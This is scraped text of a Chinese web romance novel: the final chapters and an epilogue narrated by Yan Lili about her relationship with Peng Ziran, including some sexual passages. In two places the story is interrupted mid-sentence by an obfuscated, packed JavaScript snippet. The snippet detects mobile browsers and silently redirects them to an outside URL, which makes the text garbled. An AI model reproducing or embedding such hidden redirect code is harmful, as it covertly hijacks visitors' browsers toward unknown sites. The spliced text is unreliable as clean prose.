我被他挠得直躲,结果整个人被他压进被窝里,这人手劲儿大得很,睡衣扣子都崩开两颗。 “要不我们数数份子钱?”我想转移话题。 “那玩意儿明天再数也不迟。”他咬住我的耳垂,“现在有更重要的事。” 说着就把我的手机扔到床头柜上,我转头想伸手去够,又被他掰着下巴转了回来。 “老婆~” 我累的不行,知道如果让他折腾,不到半夜肯定睡不了觉,我抓住他乱动的手:“你不想知道收了多少钱吗?要是睡不着,咱们就数数。” “不想。”他吻我的唇角,“我现在就想吃你。” 说着,他就不由分说地吻了下来,不给我一点反抗的机会,我们缠绵在一起,折腾到凌晨三点多,两人才筋疲力尽地相拥着睡去。 第二天我收到了一份邮件,只有四个字“新婚快乐”。短短四个字,我一眼就认出是潘璐发来的。 我在键盘上敲了又删,最后只回了她一句“谢谢”。 没多久,她又发来邮件,问起我和严莉莉的近况,我简单说了说我们的情况,她也提了提自己的。 她说她去年结婚了,不是和高昂,他俩出国第二年就分了,她先生是个法国人,比她大十岁,带着个儿子,对她很好。 我们的对话生疏而克制,像两个久别重逢的陌生人,没说几句她就以有事为由结束了谈话。 后来我偶尔给她发邮件,要么石沉大海,要么隔很久才收到寥寥数语的回复。 我和沈晋川结婚半年后,陈鹭突然火了。 其实毕业后我们一直保持着联系。这些年他坚持写作,这次把他和关雪娇的故事写成小说出版了。 记得我和沈晋川结婚时,他也来参加了婚礼,还是孤身一人。 我问他感情状况,他依旧笑着说:“还是喜欢一个人。” 没想到这本书突然爆红。他兴奋地给我打电话:“方梨,我的作家梦终于实现了!” 我正捧着他送给我的书看,回道:“恭喜你啊,终于实现了作家梦。” 他笑了两声,问我:“签售会你会来吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小时候天天想着要离开这条破旧的老街,现在反而总惦记着回去看看。 人真是奇怪,曾经拼命想逃离的地方,如今倒成了最常想起的牵挂。 再次回到向花街时,我们意外地遇见了骆海馨,她牵着两个蹦蹦跳跳的孩子,眉眼间透着疲惫。 闲聊中她苦笑着说带孩子太累人,我这才注意到她眼角的细纹和略显松弛的皮肤。 我忽然想起前段时间和同学聊天,听他们说刘杰到现在还没结婚,性子沉稳了许多,不再跟着兄弟出去喝酒,开始踏踏实实在店里做生意。 人好像总是这样,失去最在意的东西后,才会突然明白些什么,真正长大。 骆海馨看着我和沈晋川十指相扣的手,眼神复杂:“你们真幸福,从学生时代走到现在,终于结婚了。” 我问她:“你幸福吗?” 她笑了笑,眼神落在孩子身上:“我现在有老公有孩子,每天收拾屋子、做饭、等他下班,吃完饭他去上班,我接着带孩子……”她顿了顿,“没什么幸不幸福的,很平淡,很安稳。” 我看着骆海馨亲吻孩子的样子,突然明白幸福从来没有标准答案。 有人守着空荡的超市等一个不归人,有人在异国他乡重组家庭,也有人甘愿囿于厨房。 就像梧桐树年复一年地落叶又新生,每个人都在用自己的方式扎根。 幸福从来不止一种模样,有人追求轰轰烈烈,有人甘于柴米油盐。 骆海馨选择了后一种,在日复一日的平淡中,慢慢熬煮属于自己的那份安稳。 暮色渐浓时,我和沈晋川往回走,路过苏冉家门口时,发现大门紧锁,她爸妈在她弟弟大学毕业那年就搬去了市里,给他买了婚房,一家人欢天喜地地住进了新家,仿佛从未有过一个女儿似的。 我忽然想起苏冉,那个很爱笑却有点自卑的女孩,她结婚那天,穿着租来的廉价婚纱,罗斌搂着她的腰,在酒席上大声承诺:“我会让苏冉过上好日子!”而她笑得那么甜,好像真的相信,自己终于有了一个家。 后来,她却把那个家变成了她的囚笼。 晚上吃饭时,妈妈突然提起罗斌:“听说他在网上认识了几个人,跟人家去了外地,前两天给他二舅打电话借钱,听他二舅说是被人骗去缅甸了,发来的照片身上都是伤,现在恐怕凶多吉少了……” 沈晋川在一旁听着,低声说:“报应!当初那么对苏冉,现在轮到他自己尝尝苦头了。” 我没有说话,只是望向窗外。 向花街的夕阳依旧很美,像多年前我们四个并肩看过的每一个傍晚。 苏冉、潘露、严莉莉,还有我,曾经那么亲密无间的四个人,如今散落在不同的命运里。 有的永远停留在了青春里,有的在异国他乡开始了新生活,有的守着回忆不肯放手。 而我和沈晋川,何其幸运,还能牵着彼此的手,一起看这落日余晖。 【正文完】 30. 严莉莉自述 认识彭子然那年,我二十二岁。 那是我在会所上班的半年后,那天天气阴沉,灰蒙蒙的云压得很低,像是随时要塌下来。 我刚陪完客人从包厢出来,就被丽姐叫去大厅陪几位新来的客人。 大厅里,五个年轻人正在喝酒,闹哄哄的,只有一个人,缩在沙发角落,显得格格不入,好像浑身不自在。 他就是彭子然。 第一眼看到他,我就觉得这人有点怪,跑到这种地方来,酒也不好好喝,别人稍微碰他一下,他就绷得像根弦。 他的朋友似乎也不太待见他,一个劲儿地给他灌酒,说他“不合群”。 他喝得很狼狈,酒液顺着脖子往下淌,浸湿了衣领,从他们零碎的对话里,我听出来他们还是大学生。 看着他被欺负,我有点看不下去,鬼使神差地替他挡了几杯,从洗手间回来,他那群朋友已经不见了,只剩他一个人醉倒在沙发上。 我推醒他,让他打电话找人接,他迷迷糊糊地从包里掏出一叠钱塞给我,嘴里嘟囔着“有钱”。 看他醉得不成样子,我那点可怜的好心肠又冒了出来,费劲地把他拖到隔壁酒店。 到了房间,我转身想走,他却死死抱住我的胳膊不撒手,嘴里含糊不清地叫着“爸”、“妈”,说着些颠三倒四的话。 我听着,心里一咯噔,以为他和我一样,是没爹疼没娘爱的可怜虫,我想掰开他的手,他却哇的一声吐了我一身。 裙子脏了,没法穿了,我只好把他扔床上,自己去卫生间冲洗,等我洗完澡出来,发现他已经睡熟了,没办法,我只能躺到另一侧。 第二天早上,他醒来,看到躺在旁边的我,整个人都吓懵了,猛地坐起来,脸涨得通红,结结巴巴地说:“对……对不起!我……我不是故意的!” 我点了根烟,看着他手足无措的样子,忽然觉得有点好笑。 想起他昨晚塞给我的钱,我故意板起脸:“你吐脏了我的裙子,昨天开房的钱也是我付的,赔我五千块。” 他想都没想,立刻拿出手机给我转了账,我看着这个还在上大学的男生,知道自己这是遇见富二代了。 我看着收到的五千块,穿上半干的衣服和他到了别,临走前告诉他以后想玩随时来找我。 我觉得他那晚去会所应该只是好奇,以后应该不会再来了,故事到这里,本该结束了。 没想到,第二天我上班时,他又来了。 丽姐说有人找我时,我满心疑惑,实在想不出谁会来这里找我。 走到大厅,看见是他,我愣了一下,我以为他是后悔拿了五千块给我,想找我要回去。 我吸了口烟看着他,想他如果真是来要钱的,今天怕是出不了这个门了。 我盯着他看了半晌,他看着我,眼神有点飘忽,结结巴巴地说:“我……我能请你陪我喝点酒吗?” 我撩了撩头发,笑着说:“找我?得花钱点我台。” 他说:“我有钱。”然后真就从口袋里掏出一千块现金递给我。 我没客气,收了钱,说了声“谢谢小费”,然后毫不手软地点了瓶贵的酒,他照单全收,眉头都没皱一下。 其实他根本不会喝酒,大部分都进了我的肚子,他就那么坐着,一直等到我下班。 一连三天,他天天都来,每次都点名找我,如果我在陪别人喝酒,他就一直等我,见到我不做别的,只是安静的坐着和我喝酒,有时候见我喝的多了,就让我陪着他喝水。 我被他这奇怪的行为弄糊涂了,想拒绝,又舍不得他给的钱。 有一次我实在没忍住问他:“你到底来干嘛的?” 他说:“你那天不是说可以随时来找你吗?” 我愣了一下,才反应过来他指的是在酒店我随口应付的话。 我点上烟,吸了一口,看着他说:“你来消费,我当然欢迎。” 他就真的只是来“消费”,话不多,我有空就陪他喝两杯,没空他就坐大厅等我下班,然后默默离开。 有一次,他来的晚,我刚陪完别的客人,喝得有点多,走出包厢,发现他坐在大厅等我。 见我出来,他迎上来,看我脚步虚浮,赶紧扶我坐下,递了瓶水给我,我醉眼朦胧地看着他,带着点戏谑:“喂,你天天来只点我,不点别人,该不会是爱上我了吧?” 他明显慌乱了一下,看着我,没吭声,我看见他耳朵有点红了。 我难受得厉害,也到了下班时间,就问他:“能送我回去吗?我难受。” 他说:“好。” 到了我租的小屋,他把我放在床上就想走,我拉住他:“渴,倒杯水。” 他乖乖去倒了水,我喝完,说要去洗澡,让他随便坐,等我洗完澡出来,发现他已经走了,我也没在意,困意袭来我就睡了。 第二天我休息没去上班,晚上,门被敲响了,打开门,是彭子然。 我穿着吊带睡裙,他看见我,脸瞬间红透,眼神都不知道往哪放。 “有事?”我问。 “看你……今天没去上班,担心你出事,来看看。”他声音很低。 我让他进来,他坐在沙发上,眼睛不敢看我,我点了根烟,坐在他对面的椅子上,肆无忌惮地打量他。 年轻,帅气,皮肤很白,带着阳光大男孩的干净气息。 他被我看得浑身不自在,转过头,目光落在我脸上,忽然小声说:“你这样……很好看,不化妆很好看。” 平时上班,我都画着浓妆,看起来比实际年龄要大好几岁。 我吐了口烟,没说话。 他又补充道:“化妆……也好看的,但不化妆更好看。” 我觉得他有点意思,甚至开始怀疑他是不是真对我有点意思?不然天天跑来找我干嘛? 我刚想开口问他,电话响了,是之前一个熟客,问我现在能不能出去“做生意”。 我立刻换上甜腻的声音:“可以呀,当然有空。” 见我挂断电话,他猛地站起来:“能不能……不去?” 我抽着烟,看着他:“我要工作的,不工作,吃什么喝什么?”说完就回房间换衣服了。 等我换好衣服出来,他还僵在沙发那儿没动,我拿起化妆包:“就不留你了,我得去工作了。” 我坐在梳妆台前准备化妆,他突然说:“我给你钱!我包你一天!今天别出去行不行?” 我被他这突如其来的要求弄得一愣,下意识地回了句:“行啊,一天一千。” 他立刻掏出一千块递过来。 其实我话出口就有点后悔,我本意是想让他走的,但看着他递过来的钱,我心里涌起一种难以言喻的感觉。 那天,我没出去,我以为他留下来总得做点什么,结果,我们只是干坐着,烟抽了一根又一根,能聊的话题都聊尽了,他还是没有任何动作。 最后我困了,说:“睡觉吧。”他说“好”,然后径直走到沙发边躺下了。 看着他蜷在沙发上的背影,我觉得又好笑又莫名其妙,花钱找我,又不碰我?图什么?真是人傻钱多,我摇摇头,回自己房间睡了。 第二天早上醒来,厨房飘来香味,他竟然做好了早餐,我很久没吃过早餐了,他问我好吃吗?我说“还可以”。 他拿出手机,有点紧张地问:“能……加你个联系方式吗?” 我看了他一眼,把微信给了他,他很快在微信上给我转了一万块:“这十天,你别去陪别人了,我包你十天。” 我放下筷子,抓了抓头发,看着他,真的一点也看不明白他的操作:“你钱哪来的?该不会是偷的吧?” 他笑了:“不是,我爸妈在外地做生意,很少回来,只给我钱。钱多,花不完。” 真任性,等我哪天钱多的花不完了,我也这样跟别人说。 我没拒绝,毕竟没人跟钱过不去,一天一千,可比我上班挣得多多了,还不用伺候奇怪的客人,不用喝那么多酒。 接下来的日子,他白天去上课,晚上回来,我们一起吃饭,聊天,打游戏,看电影,他依旧规规矩矩,没有任何越界。 连续几天下来,我甚至开始怀疑他是不是有什么特殊癖好,或者……是嫌弃我? 终于,我按耐不住了。 一天晚上,我洗完澡穿着吊带蕾丝睡衣出来,看他还在沙发上看电视,心里的疑惑和某种冲动达到了顶点。 平时我也穿着性感,故意的去勾引过他,可他都不为所动,我甚至怀疑是不是我没有魅力了?所以我打算上手试试。 我走过去,挨着他坐下,拿起葡萄喂他,碰到他手臂时,能感觉到他身体瞬间绷紧。 我开始有点不安分地摸他的腿,他的呼吸明显急促起来,我感觉到他对我不是没感觉。 我索性直接坐到了他的腿上,捧着他的脸就吻了上去,他整个人僵在那里,像被点了穴,任凭我吻着,没有任何回应。 我的动作越来越大胆,他突然推我:“别……” 我喘息着看他:“不喜欢?” 他呼吸急促:“没……喜、喜欢……” “既然喜欢,你别什么?”我又凑近他,手指抚过他的嘴唇,“你给我这么多钱,就为了每天来看电视睡觉?不做点别的,不可惜吗?” 我盯着他的眼睛,带着点挑衅,“是不是在学校教女朋友了,想在我这儿学点经验?没关系,我不介意教你。” “没……” 他看着我喘息着说了句,我没听明白:“嗯?没什么?” “没女朋友。”他说。 “是吗?”我感觉到他的身体反应越来越强烈,我跨坐在他身上,去解他的衣服。 他一开始还有些抗拒和紧张,慢慢地,在我的引导下,他开始笨拙地回应,抱着我回吻,我们从沙发纠缠到床上,他生涩得像个没谈过恋爱的毛头小子,姿势翻来覆去就那么一个,动作小心翼翼,生怕弄疼我似的。 结束后,他抱着我,在我额头亲了亲,然后搂着我沉沉地睡了。 第二天早上醒来,就看见他在厨房忙碌,见我醒了,他笑着问:“醒了?” 我点头,轻“嗯”了声,习惯性地点了根烟,他说:“少抽点,对身体不好。” 我故意吵他吐了口烟:“怎么?睡了一觉,就准备管我了?” 他愣了一下,没说话。 吃完饭,他准备走,我说:“我今天得去上班了,再不去,饭碗就没了。” 他看着我,沉默了几秒,突然说:“别去了,行吗?” 我挑眉:“不去?你养我?” “我养你。”他答得毫不犹豫。 我看着他,觉得有点好笑:“打算包养我?” “不是!”他急忙否认,然后,像是鼓足了毕生的勇气,看着我,一字一句地问:“你……能做我女朋友吗?” 这句话把我砸懵了,睡一觉就要我做女朋友?我差点笑出声,要是这样算,我的“男朋友”恐怕能排长队了。 可看着他无比认真的眼神,那些嘲讽的话卡在喉咙里,怎么也说不出来。 他见我不说话,又急切地补充:“我每天给你一千块!你想买什么都可以跟我说!你就……就在家待着,别去哪儿上班了,行吗?或者我给你开个小店?” 我心里五味杂陈,觉得他这人傻得离谱,又莫名有点触动。 想拒绝,却鬼使神差地听见自己说:“好。” 他眼睛瞬间亮了,像落满了星星,立刻拿出手机给我转了一万块。 从那天起,他每天都来,白天上课,晚上回来,我们一起买菜,他做饭给我吃,我才知道他爸妈在外地做大生意,很少回家,只给他钱,他家很有钱,用他的话说是“穷得只剩下钱了”。 我们的缠绵也越来越熟练,越来越有默契。 有一次,他结束后,捧着我的脸亲我,问:“舒服吗?” 其实他太克制了,并不算特别舒服。 我告诉他:“不用那么克制,那样没人会舒服。” 在我的“调教”下,他慢慢放开了,也越来越会了,后来他再问我“舒服吗?”,我会诚实地点头,他会抱着我说:“舒服的话,以后能不能……不找别人了?” 我看着他亮晶晶的眼睛,答应了。 那时候,我只觉得我是图他的钱,从未想过会爱上他,其实,爱已经在不知不觉中滋长,只是我不愿承认。 因为在感情里受过太深的伤,我觉得男人都一样,不会有真心,更何况,他知道我是做什么的,怎么可能真心爱我? 我不断自我催眠,无所谓,反正他有钱,我图的就是钱。 日子就这么过着,表面看来甜蜜异常。 有一次,我们在一家不错的餐厅吃饭,遇到了他的一个女同学。 那女生热情地过来打招呼,看见我,甜甜地叫了声:“姐姐好!你是子然的姐姐吧?” 我点点头,没说话。 她和彭子然聊起了学校的事,那些我听不懂的课题,看着他们并肩而坐,一个阳光帅气,一个青春靓丽,讨论着共同的话题,画面和谐又般配。 那一瞬间,我心里竟然泛起一股难以言喻的酸涩,我擦擦嘴,站起来说:“我吃饱了,你们聊。” 彭子然立刻跟着站起来要跟我走。 那个女同学也站起来,笑着说:“子然,你对姐姐真好。” 我还没开口,彭子然就清晰地说道:“她不是我姐姐,她是我女朋友。” 这句话像一颗炸弹,在我耳边炸开,我惊愕地看着他,完全没想到他会在同学面前这样介绍我,把我纳入他“女朋友”的身份里! 我一直以为,他对我,不过是大学生图新鲜的一场游戏。 那个女同学也震惊了,上下打量着我,眼神里充满了不可思议。 可能没想到我看着比彭子然大很多,怎么就成他女朋友了,其实我也只比他大两岁,只是夸张的妆容和打扮让我显得年长了几岁。 彭子然一点也不喜欢听到我比他大的话题,因为我曾无数次说过,我不喜欢比我小的。 有时候开玩笑,我让他叫我姐姐,他总是不太喜欢,我说我比你大两岁,我就是你姐姐,他总是很认真的纠正我,说:“不是两岁,是一岁零六个月。” 看着他女同学的反应,我想换谁都会觉得难以置信吧?就像我当时,亲耳听到仍旧觉得不太真实。 可奇怪的是,心底深处,却有一股暖流悄然涌过,那一刻,我觉得他好像真的和别人不一样。 后来,我真的不再去见别的客人了,也从那个地方辞了职,每天的生活重心,似乎就是等他来。 明明知道这样很危险,很不应该,把未来寄托在一个年轻男孩身上,可还是控制不住自己。 和他在一起,那种恋爱的感觉太真实,太让人沉溺,明知是错的,心里却像灌了蜜一样甜。 再后来,他说他父母回来了,要带我去见他们,我第一次真切地感受到了什么叫“门不当户不对”。 他家是气派的别墅,他父母见到我,脸上没有一丝笑意,眼神里充满了审视和不认可,一顿饭吃得极其压抑,饭后,他父母明确表示让他跟我断了,他不同意,他甚至说要娶我,他父母震怒,说如果非要娶我,就断绝关系,他真的为了我,和他父母断绝了关系。 我们依旧甜蜜地生活着,但突然有一天,他不再来找我了,整个人像人间蒸发一样,断了联系。 我心慌意乱,后来从他一个同学那里得知,他家破产了。 一天晚上,我从外面回来,发现他默默跟在我身后,一直到家门口。 “不进来?”我看着他。 他站在门口,低着头,声音沙哑:“我……没钱了。” 我点了根烟,倚着门框打量他,我明白了,他不来找我,是因为他觉得自己没钱了,而我一直表现得那么“爱钱”,他每次来找我都要给我钱,他觉得没钱了,我就不会理他了。 看着他这副模样,我心里涌起一阵酸痛,更不知道其实他每天都会偷偷跑来我家楼下看我。 我看了他很久,深吸一口气,抬头问他:“你不是说要娶我吗?还娶吗?” 他猛地抬起头,愣在那里,眼睛瞪得老大,像是完全没反应过来。 我吐了口烟,看他傻掉的样子,扯了扯嘴角:“不愿意?那算了,当我没问。” 我作势要关门,他立刻冲进来,紧紧抓住我的手臂,语无伦次:“愿意!愿意!我娶!我娶!”随即,他的声音又低了下去,“可是……我没钱了……一天给不了你那么多钱了……” “没钱就去挣啊。”我看着他,语气平静。 他愣住了。 我又加了一句:“也不用太多,够花就行。” 我看着他笑了,他也看着我,慢慢地,眼里重新有了光,也笑了出来。 我知道,他是真的很爱我,爱到了骨子里。 那时,我在广州待腻了,随口说想去杭州,因为小屁孩在杭州,我想离她近点,彭子然二话不说,收拾东西就跟我走了。 我们领了证,没有举办婚礼,只是叫了几个相熟的朋友吃了顿饭。 那天晚上回去,他喝多了,抱着我一直亲,一直哭,说:“老婆,委屈你了,没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464355|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你一个像样的婚礼……我以后一定补给你!一定!” 我说:“好。” 那时候,我还不知道,他家根本没有破产,是他父母为了拆散我们,故意骗他说破产了,停了他所有的卡,他以为自己真的一无所有了。 他父母以为这样就能吓退我这个“图钱”的女人,他们低估了彭子然对我的爱,也低估了我。 我们在杭州盘下了一个小超市,日子过得平静安稳,但有一天,我发现他在偷偷用手机找夜班的工作。 联想到他说家里欠了很多钱,我以为他急需钱还债,我拿出自己所有的积蓄想给他,他不要,说没事,只是觉得晚上关了店门后有点闲,想看看有没有合适的工作。 我不知道他们家到底欠了多少钱,只感觉数目不小,于是我也想去找份工作,帮他分担一点。 结果,他好像误会了,他大概以为我厌倦了这种清贫的生活,想逃离,然后,就发生了那个改变一切的夜晚。 那天我回家晚了,遭遇了持刀抢劫,他为了救我,受伤住进了医院,却在检查中意外查出了扩张型心肌病晚期。 他妈妈知道后赶了过来,直到那时,我才知道,他们家根本没有破产!他妈妈要带他去国外治疗。 我想跟着去,想陪在他身边,但他妈妈不允许,我只是出去买个早餐的功夫,回来就发现病房已经空了,他们出院走了,去了国外,杳无音信。 我想去找他,可我连他们去了哪个国家,哪家医院都不知道。 我每天守着我们的那个小超市,固执地相信他一定会回来,我们是领了结婚证的! 他是爱我的,在一起那么久,他跟我说过无数遍“我爱你”,而我,却吝啬得一遍都没对他说过。 我想,等他回来,我一定要捧着他的脸,对他说上无数遍“我爱你”,告诉他我有多爱他,我只是受过伤,把对他的爱,深深藏在了心底。 我开始漫长而无望的等待,没有他的一点音讯,我甚至不知道他的病好了没有?不知道他会不会在他父母的劝说下放弃我?不知道他是不是厌倦了现在的生活,厌倦了我?会不会再也不回来了? 我想过卖掉小超市,回广州,也许能打听到一点消息?可我又舍不得,我怕我走了,他突然回来,会找不到我。 我就守着这个小店,守着我们的家,一年又一年地熬下去。 每次有熟客进来,看到只有我一个人,总会问:“你老公呢?好久没见了。” 我就笑着回答:“他出去打工了,过年就回来了。”他一定会回来的。 其实我根本不知道他还会不会回来,每次手机响,只要是陌生号码我都以为是他,高兴的接起,失望的挂断。 有时候做梦梦见他已经好了,在国外定居了,不准备回来了,还遇见了喜欢的人,手牵手从我面前走过,笑得很开心,我去拉他,他不理我,只是牵着她的手往前走。 每次醒来我都哭,我不知道我为什么哭,也不知道自己什么时候变得这么矫情了,好像一点都不像我了。 他走后的第三年冬天,杭州下了一场罕见的大雪,南方城市,雨水常见,大雪却是稀客。 我看着漫天飘落的雪花,突然好想他,他现在在哪个国家?身体怎么样了?康复了吗?有没有好好吃饭?有没有……哪怕一点点,想我? 我坐在超市门口,望着纷飞的雪花出神,有客人来买东西,我起身进店去拿货,算账。 转身时,看到墙上挂着我们俩的合影,照片里他笑得像个傻瓜,我的鼻子猛地一酸,眼泪差点掉下来。 他已经走了那么久……那么久了……一点音信都没有,是不是真的把我忘了? 每次想到这里,我都安慰自己,我们有结婚证,是合法的夫妻,就算他真得不想过了,也得回来跟我办离婚手续吧? 可转念一想,如果他真的回来是为了离婚,我该怎么办? 我又赶紧甩开这个念头:不会的!他爱我!他不会回来离婚的! 看着照片上他灿烂的笑容,思念像潮水一样淹没了我,我好想告诉他,杭州下雪了,下了一场我们从未见过的大雪,我好想告诉他,如果他在,我们可以一起看这场雪。 就在我沉浸在思念的酸楚中时,恍惚间,我好像听到有人在叫我。 “莉莉……” 那声音,熟悉又遥远。 我猛地转过头,好像看见了彭子然。 他就站在超市门口。 穿着灰色的大衣,围着厚厚的围巾,头发和肩头落着细碎的雪花。 那一瞬间,我以为是幻觉,是思念过度的梦,我呆呆地看着他,不敢眨眼。 “莉莉。”他又叫了一声。 我几乎是跌跌撞撞地冲过去,直到手指触碰到他冰凉的脸颊,感受到他温热的呼吸,感受到他胸膛下有力的心跳时,我才敢相信,这个人是真的!彭子然回来了!他真的回来了! 巨大的狂喜和委屈瞬间冲垮了我,我扑进他怀里,死死地抱住他,失声痛哭,像个迷路了很久终于找到家的孩子,我不知道自己哭了多久,直到哭得没有力气。 停下来回过神后,恐惧却攫住了我,我抱着他,不敢撒手,我害怕他是回来跟我离婚的,害怕他是回来告诉我,他厌倦了这里的生活,厌倦了我,想结束这一切。 我好害怕。 他刚想开口说话,我就惊慌地打断了他:“别……别说……”我不敢听,我开始害怕他接下来要说的话。 他只是更紧地抱住我,轻轻拍着我的背,声音温柔:“对不起……让你担心了……以后都不会了。” 听到他的话,我才想起最重要的事,抬起泪眼朦胧的脸:“你的病,好了吗?” 他点点头,嘴角带着温暖的笑意:“心脏移植手术很成功,恢复的不错,已经好了,就是以后不能太累。” 他说他也想联系我,但手术后需要长期静养恢复,他妈妈总是告诉他,等他完全好了就能回国,就能见到我了,他就靠着这个念头支撑着,才熬过了那些艰难的日子。 我听完,才知道他不是回来离婚的,他还爱着我!他真的回来了! 后来我才知道,他妈妈骗他说,当初离开时给了我一大笔钱,让他不要再等我了,他信以为真,情绪一度非常低落。 他妈妈见他恢复得不好,才不得已说了实话,告诉他等他恢复好了就能回去找我,手术成功,身体恢复得差不多,他就马不停蹄地赶了回来。 我们紧紧相拥,诉说着对彼此刻骨的思念,发誓这辈子再也不分开。 我抱着他,一遍又一遍,哽咽着说:“我爱你,彭子然,我爱你……真的爱你……以后你去哪儿都带着我,别再丢下我一个人了。” 他紧紧回抱着我,下巴抵着我的发顶,声音坚定又温柔:“好!再也不分开了。” 窗外的雪,不知何时,渐渐停了,天地间一片洁白宁静,仿佛这场罕见的大雪,只是为了见证我们的重逢,为了弥补我们错过的时光,为了让我们能一起看到这纯净的世界。 人生会遇到很多人,也可能会爱上不止一个人,但最终,能真正走进我生命深处,与我携手共度余生的,只有一个。 年少时我们不懂爱情,可能因为一颗糖的甜,一句动听的话,就误以为那是真爱,迫不及待地想要尝尽所有滋味。 后来才明白,那或许只是青春里的一场迷梦,直到遇见真正对的人,才知道自己曾经错得有多离谱。 但没关系,总会有人,偷偷地来爱你。 我说他给的糖很甜,他就每天都记得给我一颗糖,让我的日子,在不知不觉中,慢慢被甜味浸透。 我曾经无数次地想:如果我十八岁那年,先遇到的人是彭子然,该多好? 但现在我明白了,也许,这一切都是命运最好的安排,如果十八岁就遇到他,我们之间,未必会有后来这般刻骨铭心的爱情。 说不定,在那个懵懂的年纪相遇,我们反而不会爱上彼此。 所以啊,我以后不再去纠结过往,不在纠结遇到他之前发生过什么,那些都是构成现在的我的必经之路,我会过好我们相遇之后的日子,属于我们两个人的日子。 生活其实很甜,如果偶尔觉得有点苦了,就吃一颗糖吧,让那点甜味,慢慢漾开。 幸福往往藏在日子的褶皱里,像揣在口袋里的糖果,不刻意张扬,却在每一口寻常的滋味里,悄悄地,甜了我的心头。 我们会幸福的,因为那些曾经让我流泪的伤痕,最终都会变成让我微笑的印记,因为命运总会把最好的留到最后,就像严冬过后必定会迎来春天。 【全文完】